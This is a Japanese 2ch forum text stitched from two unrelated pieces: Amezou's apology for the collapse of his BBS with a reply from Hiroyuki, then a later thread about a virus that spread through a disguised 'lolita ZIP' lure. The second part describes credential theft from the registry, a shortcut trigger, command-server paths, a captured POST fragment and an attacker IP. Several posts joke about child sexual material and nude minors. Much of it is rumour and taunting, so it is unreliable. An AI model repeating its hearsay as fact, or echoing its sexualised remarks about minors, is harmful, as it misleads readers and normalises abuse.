掲示板群の末期に、私の管理不足のため多くの方に、ご迷惑をおかけしたことを、お詫びし、今後、新規掲示板を、一生懸命管理運営する事によって償いの、代わりにさせていくただきたいと思います。
あめぞう、がつぶれた頃私は、インターネットに対する、拒絶反応がでていましてインターネットにアクセスすることが、困難でした原因として
○育てた、あめぞうBBSが崩壊した、ショック
○悪意のある攻撃
○支援のメール、が沢山ありましたが、ご要求に、答えることができずに、たまって悪循環
○まいたいネットの、ルートをいただいて telnetで管理をしていたのですが私のUNIXの、知識が無いため、管理できていませんでしたまた、クラッカーによるものかサーバーの、不具合が頻発した
○管理できていない、罪悪感等により、インターネット関係の、人と連絡を取ることさえ、精神的な負担が、ものすごくありました
事実、今回のお話を、いただいて、インターネットに復帰した後も、拒絶反応が戻ってきそうな、ことが何度かありました。
（略）
どうも、自分のことについて、語られているのを見ると目をふさぐ、悪癖がありまして、ごめんなさい。少しずつでも、目を向けます。あめぞうリンクを支持して下さった、方に大変な、感謝をします
------------------
これに対する西村の反応↓

231 名前：ひろゆき＠暫定管理人 ★投稿日：01/10/04 02:28 ID:???
いやぁ、、たなぼたって感じっす。
謝罪文ってのはみてないんですが、、
あめぞうさんの意見といわれるものは、本当に全部あめぞうさんなのかな、、、
あめぞうさんの意見ということで捏造されてるところが
ありそうな気がします。。

引っかかってるのはお客さんだから問題無い

>>930
センスを感じる

>>923
へーそうなんだ。
大事なデータとって、再インスコすれば治るんでしょ？

>>930
正しいｗ

アイコン偽装でやられたのかよ

>>932
詳細表示にしてファイルの種類を見てない奴は情弱

ぶっちゃけネタだと思ってたけど
エンジニアが動いてるってことはガチなのか

事実は置いといて時期的に命名は西村ウイルスで問題ないだろう

まーた犯罪嫌儲から逮捕者がでるのか

>>941
scウイルスやひろゆきウイルスでもいいかなーとか思ったりしたけどまあいいか

>>914
次スレまでに解決しなかったら考える

>>930
マジで吹いた

>>941
西村ウイルスでいい

>>930
泣いた

ウィルス祭りか…寝ててよかった

ドメインからはIP引けなくなってる
ただ>>786のIPに置いてあるものは一応まだ生きてる模様

/alpha/に飛ぶとblah.phpとかいうネタ画像をランダムに表示するページに飛ぶ
ウイルスが通信していたorder.phpにアクセスすると、no content?とだけ表示される
image.php?id=ここに数字　へ行くと文字化けした何かが

postしたもの
eiswgkoy=33710422&gmye=C6D8037B049D61494A&iqemai=48CD46F6DE880622AE22F0BEF48F821D909EF9ABA以降省略

他&gmyekwco3=、&gmyekwco4、cemo=、aagggmms=、&wyacyace=、ycgk=
素人には訳が分かりませんなあ

とあるエンジニアが検体を提出する様子も無いので、誰か検体送ってください。アンチウイルス各社に送る
suteadojpあっとgmail.com

>>930
正しい処置だと言わざるをえない

>>944
次スレまでに解決はしないだろ･･･

踏んで寝ちゃった哀れなケンモメン居そうだな
スレ埋まったらまたスレ立てて気づかしてやってくれ
bot化とかしてたら困るしな

>>930
ネタだろうけどわろた

これが日本のロリータポルノ爆弾か

>>944
とりあえずお疲れ

ロリZIPなんてどう考えてもウィルス爆弾だろ
JIM神崇拝してるならPINKで学んでいるだろうに

逆にScにはればいいんじゃね？

ゆうちゃんトラップの逮捕者またでるのかあ

>>911
西村ウイルス確定したな

scに植木コラ詰め合わせとして貼ったらええかもな

ひろゆ菌

こういうネットでウイルス喰らったりブラクラ開いたりって基本的に自己責任じゃねえの

中学生の裸に勃起してわけわからんもん落とすようなアホな自分を棚に上げてなにいってんだよ

>>949
Windowsログインパスワードやその他のアカウント情報を暗号化して送ってるんだろ
その長さで最優先で送るべきなのはそれだからな

>>956
まず人いないじゃん

>>961
こういうのを見て楽しむのがいいのに

エロを利用するなんて酷い！

ゆうちゃんが本気出しちゃったな…
これから逮捕祭りが始まるから自信の無い奴は2chにアクセスするなよ

ロリコンザマー
というか最初に貼った奴が作成者ならウイルス作成罪と
パソコンぶっ壊れたなら器物損壊罪か

>>962
これ位のサイズのものを断続的に送ってるんだよな

このスレ、ざっと読んだがデマと煽りばっかだな
暇な奴がいるもんだ

かつて２ちゃんねるに人を呼び寄せた時の手法をそのまま繰り返したのかな？

>>970
しかし……ただヤバイウィルス貼られたからってscに移住する理由にはならないよ

文字列newsがからんでるのに旧速ちゃんのほうはスレたってないん
あっちにはばらまかれてないのか？

やっべ5時だよ

流れが全く読めねーよ
>>1でまとめるくらいしろ

>>968
レジストリからいろんなアカウント情報を抜いてるんだろうな
メールソフトとかブラウザに保存されてるパスワードとか
ああいうのは結構簡単に復号出来るから

法律的にアウトだろ

俺のような本物のロリコンは>>1のようなスレには行かない
嫉妬で頭がおかしくなるからな
本物のロリコンでよかった

>>971
その通りだけど、
人って成功体験を繰り返して失敗に至るそうだから

>>970
あの時とは法が違う
あの時はウイルス作成は刑罰なかったけど今はある

autorunで一回痛い目食ってから一回もウィルスかかってないからこいつらもこっから強くなるぞ（ｷﾘｯ

>>529
サキュラバス関数はともかく
> ①現在のあらゆるウイルストフトでは探知出来ない
とか書いてる時点で釣り決定じゃねえかｗ

どのレジストリにアクセスしてるのか解析してくれよ
検体があればIDA Pro持ってるから解析出来るのに

>>930
新たなコピペの誕生だなｗ

踏んだ奴には悪いが本スレ見るの楽しすぎるｗｗ

>>982暇ならメアド晒せば誰かくれるだろ

マジかよ西村最悪だな

>>870
あいつには無理
そもそもzosx.asiaが機能停止してるのに今更駆除ツール作っても何の意味も無い、
仮想以外で踏んだっぽい奴には本体更新してからzosx.asia止めてるだろうし
ベンダーに検体送るか http://nozomi.2ch.net/test/read.cgi/sec/1295261877/ この辺のスレに検体上げる方（パスワードは必ず infected でかける）がよっぽど有益

お外怖いお外は危険がいっぱい
でもインターネッツも怖かった

俺が豪勢なツナバターロールを作って食べてる間に進展あったかい？

dnsv.jpって事はお名前.comかねぇ
不正クレカ使ってなけりゃwhois情報出鱈目でも警察追えるだろこれ

たまにはロリコンもいいもんだな

ショートカットファイルがトリガーとか怖すぎだろ・・・

http://www.abuseipdb.com/report-history/89.248.172.104
Who Date Comment Categories
Anon Oct 26, 2013 2013/10/24 03:54:15 -0400 OWNER-AE5B5E5CC Owner IP-BLOCK 89.248.172.104 (Type: incoming) DDoS, Hacking, Port scan
Anon Mar 25, 2013 no comment Hacking, Port scan
Anon Feb 17, 2013 no comment Hacking, Port scan

[Viruswatch] Virus-sites with status changes(10): As of 2013-12-18 23:36:21 CET
http://lists.clean-mx.com/pipermail/viruswatch/20131218/124795.html
public access query for virus URL
http://support.clean-mx.de/clean-mx/viruses?id=18056490

このIP,去年から怪しげな報告があった模様

お前ら笑ってるけど
これケンモ民はウイルス踏むアホとしてこれから他板に広まるんだぞ
ニュー速黒歴史の一つになる

>>990
Vプリカ使ってTorで登録とかじゃないか？
Vプリカ→販売店舗防犯カメラとかになればいいが

>>1
建てた時点で700近くもレスあるのにソースじゃねーよ
3行に要約してスレ建てぐらいしろ

>>994
情弱チョーーーンステマヒットマークとお題目を唱えておけば思考停止が罪にならないという宗派に過ぎないからな

ロリコンホイホイやなワロタｗｗｗ
見てたけどあんなの落とす奴いるんだなｗ

>>995
あれ継続課金するシステムで使えたっけ？

おわり

1001 ：１００１：Over 1000 Thread

　　　　　　　　　　　　　　　　／ *　＼ __　　＿
　　　　　　　　　　＿＿／￣　　　　　＿ l＞' * l ､
　　　　　　　/ *　r―――-＜二 __　`　.､.└ｫヽ
　　　　　　　＿/　　/　　　　　　　　　　　　　ヽ　￣￣*l
　　　　　_| ＿_ ../　　　　　　　　　　　　　　　＼　　ト､
　　　　　／/ 　　.,　　　　　　　　　　　　　　　　　ヽ　＼　ヽﾑ
　　　　　７　　　,　　　　　　　: . : . : .　 : . : . : .　 : . .,.　ヽォ.∧
　　　　　/　　: ..,　 ;　　　　　　: . : . : .　: . : . : . :.　: . : ,　　|;;|＼l
　　　　 /　　: . ,　 : ;　　;　　　　: . : . : l　: . : . : . :　: . : ,:.:.:.|;;|;;;;;;＼
　　　/ｊ　　: . :j　　: ヽ: .＼　　　 : . : . |､ :ヽ : . : . : . : . :,:..:.|;;|＼;;;;;;〉
　　 /;;|　　: . :|　　: . l＼: .＼　　: ..:.:| ＼: ＼: . : . : . ::.,:.:.|;;|;;;;|丁
　　 /;;;;! 　 : . :|: .| : . :|　＞‐‐ヽ　　: . :l´￣ヽ¨:＼‐-:､: .:..,:.|;;|;;;;| |
　　ヽ∧　 :. :.:|: .| , :イ　＿ヽ　＼: . : |　,. rテ==≧.、:.:.: | |;;|;;;;| |
　　　　∧ヽ: . :|: .|: . :ィく千弌㍉　＼:.j　　トｭ:::: ７7＞、 | |;;|;;;;| |
　　　 /;;;∧ヽ: |ヽ!: . :.|､弋＞ '′ 　　　　´￣￣｀ ./　ヾ| |;;|;;;;| |
　　 /;;/;;/ヽヽ! ハ : 小　wwx　　　 , 　　　 xwww /　: ./.:j;;j‐.j/
.　　〈;;/;;/ 　＼l　ﾊ⌒Vﾍ.　　　　　＿_　　　　　 /l　: /:.:.:.:.:.:/　転載はしないで下さいね
　　　〈;;/ 　　　 |:/: !　 !∨＼.　　　　ー ′　　ィ:.:.| :./: ﾊ:.:.:/　　雪が1001をお知らせします…
　　　　　　　　ﾚV:.!　 !:∨:. ＞　.　　　　 . イ　j:.:/|:∧/ j／
　　　　　　　　　　　.!　 !._∨:..:.:.:. |.`　ｧ .´――ｫ/. ﾚ　　　　　　　 http://fox.2ch.net/poverty/　
　　　　　 z―――-!.／, -､＼￣.| 　 l　　　　　|_
　　　　　そ　,　-‐.／＿＿ }　.ヽ¨　ﾐｊニ二　¨　　¨　┬＝－ - ､-=-
　　　　＞'´.　　 / ／　　　ヽ}-r' ./⌒ヽ　　　　　　　ﾊ　　　　　＼
　　　／　　　　　{　　 _..k　　ﾉ　|_〈:::::::∧　　　　　　　{ l　　　　　　　丶
　　　て　　　　ハ　　　ヽ.イ　 |;;;;;77;;;;ﾊ　　　　　　ﾊ l　　　　　　　　ゝ